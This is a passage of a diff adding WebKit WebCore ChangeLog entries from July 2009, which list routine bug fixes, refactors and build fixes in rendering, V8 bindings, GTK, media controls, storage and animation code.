+        * rendering/RenderLayerCompositor.h:
+        (WebCore::RenderLayerCompositor::compositingLayersNeedRebuild):
+        Renamed, since it's explicitly about changes in hierarchy now.
+        
+        (WebCore::RenderLayerCompositor::setCompositingConsultsOverlap):
+        (WebCore::RenderLayerCompositor::compositingConsultsOverlap):
+        New getter and setter for whether compositing should take overlap into account.
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::RenderLayerCompositor):
+        Add m_compositingConsultsOverlap, re-order some member variables.
+        
+        (WebCore::RenderLayerCompositor::cacheAcceleratedCompositingEnabledFlag):
+        Whitespace cleanup and method rename.
+        
+        (WebCore::RenderLayerCompositor::setCompositingLayersNeedRebuild):
+        Method and variable renaming.
+        
+        (WebCore::RenderLayerCompositor::updateCompositingLayers):
+        Now we have to run through the layer hierarchy every time if looking
+        at overlap, because changes in layout can now alter compositing behavior.
+        We minimize work by tracking whether we actually need to change the layer
+        hierarchy via needLayerRebuild.
+        
+        (WebCore::RenderLayerCompositor::updateBacking):
+        3D transforms turn off overlap mode.
+        
+        (WebCore::RenderLayerCompositor::layerWasAdded):
+        (WebCore::RenderLayerCompositor::layerWillBeRemoved):
+        Method rename.
+        
+        (WebCore::RenderLayerCompositor::addToOverlapMap):
+        (WebCore::RenderLayerCompositor::overlapsCompositedLayers):
+        Utility methods to add a layer to the overlapMap (computing the absolute
+        bounding box only if we haven't already done so), and testing the map
+        entries.
+        
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        If a layer would composite only because it comes after other compositing
+        layers in the painting order, then consult the overlap map to determine whether
+        it overlaps, and thus actually needs to composite.
+        
+        Add layers to the map when they must be composited.
+        
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+        Only do re-parenting work if the updateHierarchy flag is set.
+        
+        (WebCore::RenderLayerCompositor::didStartAcceleratedAnimation):
+        When we start an accelerated transition or animation, we stop looking at
+        overlap because we can no longer guarantee correct front-to-back ordering while the
+        accelerated animation is running.
+
+        (WebCore::RenderLayerCompositor::needsToBeComposited):
+        Method renames.
+        
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::setMaximalOutlineSize):
+        Add comment indicating that this could be optimized.
+
+2009-07-14  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Speed up creation of V8 wrappers for DOM nodes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26882
+
+        This patch doesn't require new tests as it a set of refactorings
+        to speed up wrapper creation.  
+
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8Proxy.h:
+
+2009-07-07  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] textarea height property works only if other property are defined
+        https://bugs.webkit.org/show_bug.cgi?id=18984
+
+        Let WebCore handle textarea's metrics instead of readjusting it RenderthemeGtk.
+
+        Test: fast/forms/textarea-metrics.html
+
+        * platform/gtk/RenderThemeGtk.cpp:
+        * platform/gtk/RenderThemeGtk.h:
+
+2009-07-07  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Antti Koivisto.
+
+        HTML5 Database becomes locked if a transaction is in progress when the page is refreshed.
+        https://bugs.webkit.org/show_bug.cgi?id=25711
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=25711 where web
+        storage databases could become locked until the browser is shut
+        down if the page is refreshed whilst a transaction is in progress.
+
+        Test: storage/database-lock-after-reload.html
+
+        * storage/Database.cpp:
+        (WebCore::Database::Database):
+        (WebCore::Database::close): add code to inform the database thread we've closed the database.
+        (WebCore::Database::performOpenAndVerify): add code to inform the database thread we've opened a database.
+        * storage/Database.h:
+        (WebCore::Database::opened): return true iff the underlying sqlite database has been opened but not closed.
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::databaseThread): Before the database thread terminates, close any databases that ran transactions in this thread.
+        (WebCore::DatabaseThread::recordDatabaseOpen): Records a database that executed a transaction in this thread.
+        (WebCore::DatabaseThread::recordDatabaseClosed): Removes a database from the set of open databases.
+        * storage/DatabaseThread.h:
+        (WebCore::DatabaseThread::getThreadID): return the thread id for the database thread.
+
+2009-07-07  Jiahua Huang  <jhuangjiahua@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        [Gtk] Paste of rich text from firefox results garbled markup
+        https://bugs.webkit.org/show_bug.cgi?id=26791
+
+        Fix problem with UTF-16 clipboard pasted.
+
+        * manual-tests/gtk/paste-richtext-from-firefox.html: Added.
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::documentFragment):
+
+2009-07-07  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Change 'Continue debug' shortcut from F5 to F8 for consistency with Firebug.
+
+        https://bugs.webkit.org/show_bug.cgi?id=23849
+
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+
+2009-07-06  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Update RenderThemeChromiumMac for wkDrawMediaUIPart and wkDrawMediaSlider API
+        change.
+
+        Fix compile RenderThemeChromiumMac.mm due to API changes from r45572
+        https://bugs.webkit.org/show_bug.cgi?id=27018
+
+        This is mainly an API change update to fix the chromium compile.  It
+        also has a small fix of a typo in RenderThemeMac.mm.
+
+        Compilation against the head of chromium trunk passed.  Since this is
+        a compile fix, that should be sufficient.
+
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::):
+        (WebCore::RenderThemeChromiumMac::paintMediaFullscreenButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSeekBackButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSeekForwardButton):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb):
+        * rendering/RenderThemeMac.mm:
+        (WebCore::):
+
+2009-07-06  David Kilzer  <ddkilzer@apple.com>
+
+        Bug 27002: Build fix when DASHBOARD_SUPPORT is disabled with -Wunused-parameter
+
+        <https://bugs.webkit.org/show_bug.cgi?id=27002>
+
+        Reviewed by Geoff Garen.
+
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::prepareGradientForDashboard):
+        Mark gradient as an unused parameter when DASHBOARD_SUPPORT is
+        disabled.
+
+2009-07-06  David Kilzer  <ddkilzer@apple.com>
+
+        Bug 27001: Fix improper use of PassRefPtr<Node> to RefPtr<Node>
+
+        <https://bugs.webkit.org/show_bug.cgi?id=27001>
+
+        Reviewed by Geoff Garen.
+
+        PassRefPtr<> should only be used for arguments to functions that
+        take ownership of the object, or as return values from functions
+        that relinquish ownership of the object.
+
+        * editing/Editor.cpp:
+        (WebCore::Editor::increaseSelectionListLevelOrdered): Changed
+        stack-allocated PassRefPtr<Node> to RefPtr<Node> and call
+        release() on returned object.
+        (WebCore::Editor::increaseSelectionListLevelUnordered): Ditto.
+
+2009-07-06  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7035474> Make new media controller UI default on SnowLeopard
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::mediaControllerTheme):
+            New media controller UI is enabled by default on SnowLeopard.
+
+2009-07-06  Nate Chapin  <japhet@chromium.org>
+
+        Unreviewed, build fix.
+
+        Roll out r45559 to fix Chromium canary.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26857
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Binding.cpp: Removed.
+        * bindings/v8/V8Binding.h:
+        (WebCore::toInt32):
+        (WebCore::toWebCoreString):
+        (WebCore::fromWebCoreString):
+        (WebCore::toWebCoreStringWithNullCheck):
+        (WebCore::isUndefinedOrNull):
+        (WebCore::v8Boolean):
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::getListenerFunction):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::handleConsoleMessage):
+        (WebCore::V8Proxy::compileScript):
+        (WebCore::V8Proxy::sourceName):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::handleConsoleMessage):
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        (WebCore::NAMED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
+        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        (WebCore::removeElement):
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-06  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7008093> Media controller can’t be used to scrub when movie is 
+        narrow — track is too narrow
+
+        Do not show media controller time display elements when the a movie is too narrow.
+
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+            The 'state' parameter to wkDrawMediaUIPart is now an unsigned bitfield.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlTimeDisplayElement::MediaControlTimeDisplayElement):
+            Give current time and time remaining controls a common base class.
+        (WebCore::MediaControlTimeDisplayElement::setVisible):
+            New method, hide and show the element.
+        * rendering/MediaControlElements.h:
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::RenderMedia):
+            Initialize m_previousVisible.
+        (WebCore::RenderMedia::layout):
+            Show/hide the time display elements as the movie width changes.
+        (WebCore::RenderMedia::createCurrentTimeDisplay):
+        (WebCore::RenderMedia::createTimeRemainingDisplay):
+            Base class is now MediaControlTimeDisplayElement, not MediaControlElement.
+        (WebCore::RenderMedia::shouldShowTimeDisplayControls):
+            New, decide if time display elements should be visible or not.
+        * rendering/RenderMedia.h:
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::):
+        (WebCore::RenderThemeMac::paintMediaFullscreenButton):
+        (WebCore::RenderThemeMac::paintMediaMuteButton):
+        (WebCore::RenderThemeMac::paintMediaPlayButton):
+        (WebCore::RenderThemeMac::paintMediaSeekBackButton):
+        (WebCore::RenderThemeMac::paintMediaSeekForwardButton):
+        (WebCore::RenderThemeMac::paintMediaSliderTrack):
+        (WebCore::RenderThemeMac::paintMediaSliderThumb):
+        (WebCore::RenderThemeMac::paintMediaRewindButton):
+        (WebCore::RenderThemeMac::paintMediaReturnToRealtimeButton):
+        (WebCore::RenderThemeMac::paintMediaControlsBackground):
+        (WebCore::RenderThemeMac::paintMediaCurrentTime):
+        (WebCore::RenderThemeMac::paintMediaTimeRemaining):
+            The 'state' parameter to wkDrawMediaUIPart is now an unsigned bitfield.
+
+2009-07-06  David Kilzer  <ddkilzer@apple.com>
+
+        Bug 27000: Minor clean up to runtime_root.{cpp|h}
+
+        <https://bugs.webkit.org/show_bug.cgi?id=27000>
+
+        Reviewed by Geoff Garen.
+
+        * bridge/runtime_root.cpp: Added blank line between license and
+        the first #include statement.
+        * bridge/runtime_root.h: Added comment to #endif.
+
+2009-07-06  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        generalize the special height treatment for SVG (to be re-used for ruby):
+            renamed InlineBox::m_isSVG to m_hasVirtualHeight
+            renamed InlineBox::isSVG() to hasVirtualHeight()
+            renamed InlineBox::setIsSVG() to setHasVirtualHeight()
+
+        * rendering/InlineBox.cpp:
+        (WebCore::InlineBox::height):
+        * rendering/InlineBox.h:
+        (WebCore::InlineBox::InlineBox):
+        (WebCore::InlineBox::isText):
+        (WebCore::InlineBox::setIsText):
+        (WebCore::InlineBox::isSVGRootInlineBox):
+        (WebCore::InlineBox::hasVirtualHeight):
+        (WebCore::InlineBox::setHasVirtualHeight):
+        (WebCore::InlineBox::virtualHeight):
+        * rendering/RenderSVGInline.cpp:
+        (WebCore::RenderSVGInline::createFlowBox):
+        * rendering/RenderSVGInlineText.cpp:
+        (WebCore::RenderSVGInlineText::createTextBox):
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::createRootBox):
+        * rendering/SVGInlineFlowBox.h:
+        (WebCore::SVGInlineFlowBox::virtualHeight):
+        * rendering/SVGInlineTextBox.h:
+        (WebCore::SVGInlineTextBox::virtualHeight):
+        * rendering/SVGRootInlineBox.h:
+        (WebCore::SVGRootInlineBox::virtualHeight):
+
+2009-07-06  Alice Liu  <alice.liu@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION(r45285): focus rings are black on windows safari
+        https://bugs.webkit.org/show_bug.cgi?id=26821
+        <rdar://problem/7018252>
+
+        Add a mechanism for setting a custom focus ring color, and relocate the 
+        determination of focus ring color to base class RenderTheme.
+
+        No new tests.  Already-existing tests run in pixel mode would have caught this regression
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::getColorFromPrimitiveValue): Move the responsibility
+        of determining focus color to base class RenderTheme.
+        * rendering/RenderTheme.cpp:
+        (WebCore::customFocusRingColor): Added static local.
+        (WebCore::RenderTheme::setCustomFocusRingColor): Added
+        (WebCore::RenderTheme::focusRingColor): Use custom color over platform color.
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::platformFocusRingColor): default implementation, black color
+        * rendering/RenderThemeSafari.cpp:
+        (WebCore::RenderTheme::themeForPage): Circumstances that lead to returning the RenderThemeWin
+        are the same under which we want to use the focus ring color from SafariTheme.
+        (WebCore::RenderThemeSafari::platformFocusRingColor): Renamed from focusRingColor
+        * rendering/RenderThemeSafari.h:
+
+        Renaming focusRingColor to platformFocusRingColor in these files:
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::platformFocusRingColor):
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::platformFocusRingColor):
+        * rendering/RenderThemeChromiumSkia.h:
+        * rendering/RenderThemeMac.h:
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::platformFocusRingColor):
+
+        Cleanup leftover from removal of WebCore::Color in r45285 in these files:
+        * WebCore.order:
+        * platform/graphics/Color.h:
+
+2009-07-06  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by David Hyatt.
+
+        Bug 15135: REGRESSION (r19843-r19850): Changing a flexbox's
+        contents makes its container scroll to the top
+        https://bugs.webkit.org/show_bug.cgi?id=15135
+
+        Delay updateing scroll bar of descendants of flexbox until their
+        positions are determined.  In this way we can prevent descendants
+        of flexible boxes from changing positions of their scrollbars
+        using tentative positions.
+
+        Test: fast/flexbox/repaint-scrollbar.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::startDelayUpdateScrollInfo):
+        (WebCore::RenderBlock::finishDelayUpdateScrollInfo):
+        (WebCore::RenderBlock::updateScrollInfoAfterLayout):
+        (WebCore::RenderBlock::layoutBlock):
+        (WebCore::RenderBlock::layoutOnlyPositionedObjects):
+        * rendering/RenderBlock.h:
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
+        (WebCore::RenderFlexibleBox::layoutVerticalBox):
+
+2009-07-06  Hironori Bono  <hbono@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Make unconfirmed IME text affect textarea's value.
+        This matches input and contentEditable elements as well
+        IE and Firefox.
+
+        This fixes https://bugs.webkit.org/show_bug.cgi?id=25061.
+
+        Input elements would go down this code path because it
+        would always get a null compositionNode from frame->editor().
+        Special casing compositionNodes is wrong because we explicitly
+        want unconfirmed IME input in the textarea's value (assuming we
+        want to match IE and Firefox here).
+
+        This change is originally created by Ojan Vafai <ojan@chromium.org> and
+        I just changed its manual tests with an automated test on his behalf.
+
+        Test: platform/mac/editing/input/text-control-ime-input.html
+
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::text):
+        (WebCore::RenderTextControl::textWithHardLineBreaks):
+
+2009-07-06  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Add the ability for wheel events to latch to a node.
+        
+        * WebCore.base.exp:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::EventHandler):
+        (WebCore::EventHandler::clear):
+        (WebCore::EventHandler::handleWheelEvent):
+        * page/EventHandler.h:
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::wheelEvent):
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+
+2009-07-06  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix a bunch of layout test crahses in Chromium caused by a bad usage of DEFINE_STATIC_LOCAL.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26997
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8ValueToWebCoreString): Use a regular static declaration instead of DEFINE_STATIC_LOCAL.
+
+2009-07-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: suggest global properties based on async evaluation.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26976
+
+        Before this change, empty string was evaluated to the global object
+        (or scope chain object) synchronously. This is now fixed and global
+        object is evaluated using the same control flow.
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype.completions):
+        (WebInspector.Console.prototype._evalInInspectedWindow):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype._variablesInScope):
+
+2009-07-06  Ojan Vafai  <ojan@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix crash when indenting in an empty table cell.
+        https://bugs.webkit.org/show_bug.cgi?id=26872
+
+        The crash is that we would call splitTreeToNode where the node
+        and the nodeToSplitTo were the same node.
+
+        Test: editing/execCommand/indent-empty-table-cell.html
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::splitTreeToNode):
+        Added an assert in that node and nodeToSplitTo
+        are different nodes to make this assumption explicit.
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::isAtUnsplittableElement):
+        (WebCore::IndentOutdentCommand::indentRegion):
+        * editing/IndentOutdentCommand.h:
+
+2009-07-06  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by David Levin.
+
+        Upstream V8Binding and update some function names.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26857
+
+        * bindings/scripts/CodeGeneratorV8.pm: Update function names in auto-generated files.
+        * bindings/v8/V8Binding.cpp: Upstreamed from src.chromium.org.
+        * bindings/v8/V8Binding.h: Upstreamed from src.chromium.org.
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::getListenerFunction):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::handleConsoleMessage):
+        (WebCore::V8Proxy::compileScript):
+        (WebCore::V8Proxy::sourceName):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::handleConsoleMessage):
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        (WebCore::NAMED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
+        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        (WebCore::removeElement):
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-06  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Jan Alonzo.
+
+        Use soup's content sniffing
+        https://bugs.webkit.org/show_bug.cgi?id=26982
+
+        Drop our hackish content sniffing code, and use the new libsoup
+        feature to do that job for us.
+
+        Testing this is in a cross-platform way is not obvious or possible
+        while we are using platform-specific code for sniffing.
+
+        * platform/network/ResourceHandleInternal.h:
+        (WebCore::ResourceHandleInternal::ResourceHandleInternal):
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::gotHeadersCallback):
+        (WebCore::contentSniffedCallback):
+        (WebCore::gotChunkCallback):
+        (WebCore::ResourceHandle::startHttp):
+
+2009-07-05  Antonio Gomes  <antonio.gomes@openbossa.org>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION (r40499): fast/dom/cssTarget-crash.html fails
+        https://bugs.webkit.org/show_bug.cgi?id=20342
+
+        Re-added code removed by commit r40499.
+        Without this, both Qt and Mac were crashing while running the test.
+
+        Note that this does not entirely fix the bug. It fixes the WebCore
+        crash, but the test no longer seems to work due to loader changes.
+        So this patch does not reenable the test. The test probably has to
+        be rewritten.
+
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::removedFromDocument): Re-added code to
+        set the CSS target of the document to 0.
+
+2009-07-05  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26943
+
+        When one transition finishes slightly before another the longer
+        one will fire a second time. This is because the second
+        ImplicitAnmation object is culled too early, before its final
+        RenderStyle is in place. This is done by cleanupFinishedAnimations()
+        so I got rid of that method completely and now cleanup each
+        transition or animation at the point where I am setting the final
+        style, or when I detect that the transition or animation has been
+        terminated early (which happens when you remove it from the style).
+
+        Test: transitions/extra-transition.html
+
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::updateTransitions):
+        (WebCore::CompositeAnimation::updateKeyframeAnimations):
+        (WebCore::CompositeAnimation::animate):
+        * page/animation/CompositeAnimation.h:
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::getTimeToNextEvent):
+        Avoid a divide by zero if m_animation->duration() is zero, which can happen
+        if the duration is changed to zero while the animation is running.
+
+2009-07-05  Simon Fraser  <simon.fraser@apple.com>
+
+        Revert the previous commit because it broke the
+        animations/transition-and-animation-1.html
+        testcase.
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::getTimeToNextEvent):
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::updateTransitions):
+        (WebCore::CompositeAnimation::updateKeyframeAnimations):
+        (WebCore::CompositeAnimation::animate):
+        (WebCore::CompositeAnimation::cleanupFinishedAnimations):
+        * page/animation/CompositeAnimation.h:
+
+2009-07-05  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26943
+
+        When one transition finishes slightly before another the longer
+        one will fire a second time. This is because the second 
+        ImplicitAnmation object is culled too early, before its final
+        RenderStyle is in place. This is done by cleanupFinishedAnimations()
+        so I got rid of that method completely and now cleanup each 
+        transition or animation at the point where I am setting the final
+        style, or when I detect that the transition or animation has been
+        terminated early (which happens when you remove it from the style).
+
+        Test: transitions/extra-transition.html
+
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::updateTransitions):
+        (WebCore::CompositeAnimation::updateKeyframeAnimations):
+        (WebCore::CompositeAnimation::animate):
+        * page/animation/CompositeAnimation.h:
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::getTimeToNextEvent):
+        Avoid a divide by zero if m_animation->duration() is zero, which can happen
+        if the duration is changed to zero while the animation is running.
+
+2009-07-05  Lars Knoll  <lars.knoll@nokia.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26843
+
+        Fix run-time crashes in JavaScriptCore with the Metrowerks compiler on Symbian.
+
+        The Metrowerks compiler on the Symbian platform moves the globally
+        defined Hashtables into read-only memory, despite one of the members
+        being mutable. This causes crashes at run-time due to write access to
+        read-only memory.
+
+        Avoid the use of const with this compiler by introducing the
+        JSC_CONST_HASHTABLE macro.
+
+        Based on idea by Norbert Leser.
+
+        * bindings/scripts/CodeGeneratorJS.pm: Use JSC_CONST_HASHTABLE for hash tables
+        define in the bindings.
+
+2009-07-05  Rob Buis  <rwlbuis@gmail.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Bug 26897 - Dynamic SVG images do not display correctly
+        https://bugs.webkit.org/show_bug.cgi?id=26897
+
+        Use repaint() to fix a rendering problem with a SVG image embedded in xhtml.
+
+        Test: svg/custom/createImageElement2.xhtml
+
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::imageChanged):
+
+2009-07-05  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26960
+        [Gtk] caret offset not updated when selecting text
+
+        Report the caret offset from the end of the selection so it works
+        correctly for multi-char selections too (ie, anything that is not
+        the zero width caret).
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_text_get_caret_offset):
+
+2009-07-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Unreviewed link fix for Qt.
+
+        Fix Qt link error by adding two new localized strings
+
+        In r45474 two new strings got added to LocalizedStrings.h add
+        the definition of them to Qt.
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::mediaElementLoadingStateText):
+        (WebCore::mediaElementLiveBroadcastStateText):
+
+2009-07-03  Darin Adler  <darin@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        REGRESSION (r44670-r44680): Typing is suprisingly slow in password field on reddit.com
+        https://bugs.webkit.org/show_bug.cgi?id=26959
+        rdar://problem/7029882
+
+        The code to handle iteration boundaries was malfunctioning when the boundary was
+        at the edge of a shadow tree. This happens all the time with <input> elements.
+
+        It's not immediately obvious how to make a regression test for this since the
+        symptom was a performance problem, not incorrect behavior. I'll add a test if I
+        figure out a way to make one.
+
+        * editing/TextIterator.cpp:
+        (WebCore::parentCrossingShadowBoundaries): Renamed from parentOrShadowParent.
+        (WebCore::depthCrossingShadowBoundaries): Updated for name change.
+        (WebCore::nextInPreOrderCrossingShadowBoundaries): Added.
+        (WebCore::previousInPostOrderCrossingShadowBoundaries): Added.
+        (WebCore::setUpFullyClippedStack): Updated for name change.
+        (WebCore::TextIterator::TextIterator): Updated for name change. Use
+        nextInPreOrderCrossingShadowBoundaries instead of Range::pastLastNode to fix the bug.
+        (WebCore::TextIterator::advance): Updated for name change.
+        (WebCore::SimplifiedBackwardsTextIterator::SimplifiedBackwardsTextIterator):
+        Tweaked formatting.
+        (WebCore::SimplifiedBackwardsTextIterator::advance): Ditto. Changed code that
+        initializes m_pastStartNode to use previousInPostOrderCrossingShadowBoundaries.
+        (WebCore::SimplifiedBackwardsTextIterator::handleNonTextNode): Tweaked formatting.
+        (WebCore::SimplifiedBackwardsTextIterator::exitNode): Ditto.
+
+2009-07-03  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Background audio stops playing when JS GC runs
+        https://bugs.webkit.org/show_bug.cgi?id=26956
+        
+        Ensure we keep the Audio object around while it is playing, so that it
+        doesn't get collected.
+        
+        Not testable because there's no way to know whether the audio keeps
+        playing without holding a reference to it.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::isObservableThroughDOM):
+
+2009-07-02  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26814
+        [Gtk] Caret-moved events are not issued for the correct offset
+        when text is selected forward
+
+        Report the caret offset from the end of the selection, otherwise
+        we'll report the same offset when moving the caret while
+        modififying the selection (eg, with Shift Right).
+
+        * editing/gtk/SelectionControllerGtk.cpp:
+        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
+
+2009-07-02  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26815
+        [Gtk] text-selection-changed events are not issued for the correct
